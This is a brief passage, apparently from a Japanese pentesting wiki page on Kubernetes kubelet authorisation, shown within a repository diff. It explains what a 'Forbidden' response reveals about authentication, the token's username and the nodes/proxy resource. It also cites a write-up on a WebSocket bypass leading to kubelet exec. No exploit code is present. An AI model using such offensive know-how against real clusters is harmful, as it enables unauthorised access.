- **Forbidden** を受け取ったので、リクエストは **認証チェックを通過している**。もしそうでなければ、単に `Unauthorised` メッセージを受け取っていただろう。
|
||||
- **username** が確認できる(この場合はトークンから)
|
||||
- **resource** が **nodes**、**subresource** が **proxy** になっているのを確認(前の情報と一致する)
|
||||
|
||||
## References
|
||||
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user